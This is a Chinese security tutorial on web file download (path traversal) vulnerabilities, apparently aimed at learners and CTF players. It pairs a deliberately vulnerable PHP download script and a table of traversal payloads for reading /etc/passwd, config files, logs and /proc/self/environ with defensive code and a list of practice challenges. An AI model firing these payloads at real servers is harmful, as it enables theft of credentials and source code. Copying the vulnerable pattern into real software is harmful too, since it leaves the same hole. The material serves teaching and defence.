Web渗透之前后端漏洞-文件下载漏洞
本文仅用于网络安全技术学习与授权测试交流。任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
一、什么是文件下载漏洞
二、漏洞产生的原因
三、漏洞危害
四、典型攻击示例
1. 路径穿越读取系统文件
2. 读取 PHP 源码
3. 使用编码绕过过滤
4. 利用空字节截断(旧版 PHP)
5. 利用 ZIP 或 Phar 协议(某些语言)
五、漏洞检测方法
六、防御措施
1. 白名单限制
2. 路径过滤与规范化
3. 隐藏真实路径
4. 文件权限最小化
5. 禁用危险函数或协议
6. 输出强制下载
七、与文件包含漏洞的区别
八、实战 CTF 常用 Payload
九、总结
十、靶场演示推荐
一、CTFHub 相关题目
二、BUUCTF 相关题目
一、什么是文件下载漏洞
文件下载漏洞是指 Web 应用程序在实现文件下载功能时,对用户传入的文件路径参数未进行严格过滤,导致攻击者可以任意下载服务器上的敏感文件(如源代码、配置文件、数据库备份、系统密码文件等)。
这类漏洞常出现在提供文件下载的页面,例如:
download.php?filename=report.pdffile.jsp?path=/uploads/guide.doc
攻击者通过修改filename或path参数,尝试读取服务器任意位置的文件。
二、漏洞产生的原因
典型的不安全代码(PHP 示例):
$filename = $_GET['filename']; $filepath = "/var/www/downloads/" . $filename; header('Content-Type: application/octet-stream'); readfile($filepath);直接拼接用户输入:未过滤
..、/、\等路径穿越字符。未限制基础目录:没有使用
realpath()或open_basedir限制可访问范围。未进行白名单校验:允许用户任意指定文件名。
三、漏洞危害
| 文件类型 | 典型路径 | 泄露信息 |
|---|---|---|
| 源代码 | index.php、config.php、inc/*.inc | 数据库密码、API密钥、业务逻辑漏洞 |
| 配置文件 | /etc/passwd、/etc/shadow(需root)、web.config、.htaccess | 系统用户、服务器配置 |
| 日志文件 | /var/log/apache2/access.log、error.log | 访问记录、错误信息、后台路径 |
| 数据库备份 | backup.sql、*.sql、*.dump | 用户数据、管理员密码哈希 |
| 敏感数据 | /proc/self/environ、/proc/net/arp、/root/.bash_history | 环境变量、内网信息、命令历史 |
| 其他 Web 应用文件 | ../其他目录/file.txt | 跨目录读取 |
四、典型攻击示例
1. 路径穿越读取系统文件
http://target.com/download.php?file=../../../../etc/passwd
如果服务器为 Linux 且 Web 用户有读取权限,则返回/etc/passwd。
2. 读取 PHP 源码
http://target.com/download.php?file=../config.php
直接下载config.php,获取数据库账号密码。
3. 使用编码绕过过滤
URL 编码:
%2e%2e%2f→../双写绕过:
....//→ 过滤后剩../绝对路径:
/etc/passwd(若未过滤斜杠)
4. 利用空字节截断(旧版 PHP)
download.php?file=../../etc/passwd%00.jpg
如果后端强制添加.jpg,%00可截断后缀。
5. 利用 ZIP 或 Phar 协议(某些语言)
// 如果允许 zip:// 或 phar:// download.php?file=zip://uploads/evil.zip%23shell.php
五、漏洞检测方法
手工测试:修改下载参数为
../../etc/passwd,观察返回内容。模糊测试:使用 Burp Intruder 批量尝试常见敏感文件路径。
代码审计:搜索文件读取函数(
readfile、file_get_contents、fopen、File.ReadAllText等),检查参数是否用户可控。
六、防御措施
1. 白名单限制
$allow_files = ['report.pdf', 'guide.doc', 'manual.txt']; if(!in_array($_GET['file'], $allow_files)) { die('非法文件'); }2. 路径过滤与规范化
$base = '/var/www/downloads/'; $file = realpath($base . $_GET['file']); if($file === false || strpos($file, $base) !== 0) { die('非法路径'); } readfile($file);3. 隐藏真实路径
将文件 ID 映射到真实路径(如数据库存储
id->path)。使用随机化文件名存储(如 UUID),对外只暴露 ID。
4. 文件权限最小化
Web 用户不应有读取非 Web 目录文件的权限(如通过
open_basedir限制)。敏感文件(如配置文件)应设置仅应用账户可读,Web 用户不可读。
5. 禁用危险函数或协议
PHP 中禁用
zip://、phar://等(非必要)。设置
allow_url_fopen = Off(如果不需要远程读取)。
6. 输出强制下载
设置正确的
Content-Type和Content-Disposition: attachment,避免文件内容直接在浏览器显示(但不能阻止路径遍历)。
七、与文件包含漏洞的区别
| 对比 | 文件下载漏洞 | 文件包含漏洞 |
|---|---|---|
| 目的 | 读取文件内容(下载) | 将文件内容作为脚本执行 |
| 函数 | readfile、file_get_contents、fopen | include、require |
| 后果 | 信息泄露(源码、配置、数据) | 代码执行(Getshell) |
| 典型防御 | 白名单、路径限制、权限最小化 | 白名单、禁用远程包含、路径限制 |
八、实战 CTF 常用 Payload
| 目标 | Payload 示例 |
|---|---|
读取/etc/passwd | ?file=../../../../etc/passwd |
读取index.php源码 | ?file=index.php(直接下载) |
读取config.php(上级目录) | ?file=../config.php |
| 使用编码绕过 | ?file=%2e%2e%2f%2e%2e%2fetc/passwd |
| 绝对路径(Linux) | ?file=/etc/passwd |
| 绝对路径(Windows) | ?file=C:\Windows\win.ini |
| 读取 Web 日志 | ?file=../../../../var/log/apache2/access.log |
| 读取进程环境变量 | ?file=../../../../proc/self/environ |
九、总结
文件下载漏洞本质是路径遍历(Path Traversal)+ 文件读取的组合。开发者在实现下载功能时,必须对用户输入进行严格限制,永远不要直接拼接文件路径。采用白名单、映射 ID、路径规范化是最有效的防御手段。
十、靶场演示推荐
下面罗列了一些靶场示例,可以去我的ctf解题专栏查看解题思路
一、CTFHub 相关题目
CTFHub 技能树中明确划分了“备份文件下载”和“目录遍历”两个章节,专门考察文件下载漏洞。
| 题目分类 | 题目名称(考点) | 简要说明 |
|---|---|---|
| 备份文件下载 | 网站源码 (/www.zip等) | 访问常见备份文件(.zip、.tar、.rar)下载源码。 |
bak 文件 (index.php.bak) | 通过访问index.php.bak等备份文件获得源码。 | |
vim 缓存 (index.php.swp) | vim 意外退出留下的缓存文件,下载后可恢复源码。 | |
.DS_Store | macOS 目录文件泄露,可获取文件列表。 | |
| 目录遍历 | 任意文件读取 | 通过?file=../../../../etc/passwd等参数读取系统文件。 |
| 信息泄露 | 其他信息泄露(如.git、.svn) | 虽然属于信息泄露,但也常通过文件下载方式获取。 |
二、BUUCTF 相关题目
BUUCTF 中没有独立的“文件下载”分类,但以下题目涉及下载备份文件、读取源码或任意文件读取。
| 题目名称 | 考点(文件下载相关) | 利用方式简述 |
|---|---|---|
[极客大挑战 2019]Secret File | 文件包含 +php://filter读取源码 | 通过php://filter伪协议读取flag.php的 Base64 编码内容。 |
[极客大挑战 2019]PHP | /www.zip备份文件泄露 | 访问/www.zip下载网站全部源码,审计后反序列化获取 flag。 |
[ACTF2020 新生赛]BackupFile | index.php.bak备份文件 | 访问/index.php.bak获得源码,发现弱比较漏洞。 |
[护网杯 2018]easy_tornado | 任意文件读取(结合 SSTI) | 通过模板注入获取cookie_secret,然后构造filehash读取/fllllllllllag。 |
[BJDCTF2020]EasySearch | .swp缓存文件泄露 | 访问index.php.swp恢复源码,获得后台密码。 |
[GXYCTF2019]禁止套娃 | .git源码泄露 | 使用git restore或工具下载源码,审计发现 RCE 漏洞。 |
[RoarCTF 2019]Easy Java | 任意文件读取(Java Web) | 通过filename=/WEB-INF/web.xml读取配置文件,进一步下载classes下的 class 文件。 |
[BSidesCF 2020]Had a bad day | 文件包含 + 伪协议读取 | 利用php://filter读取index.php源码。 |
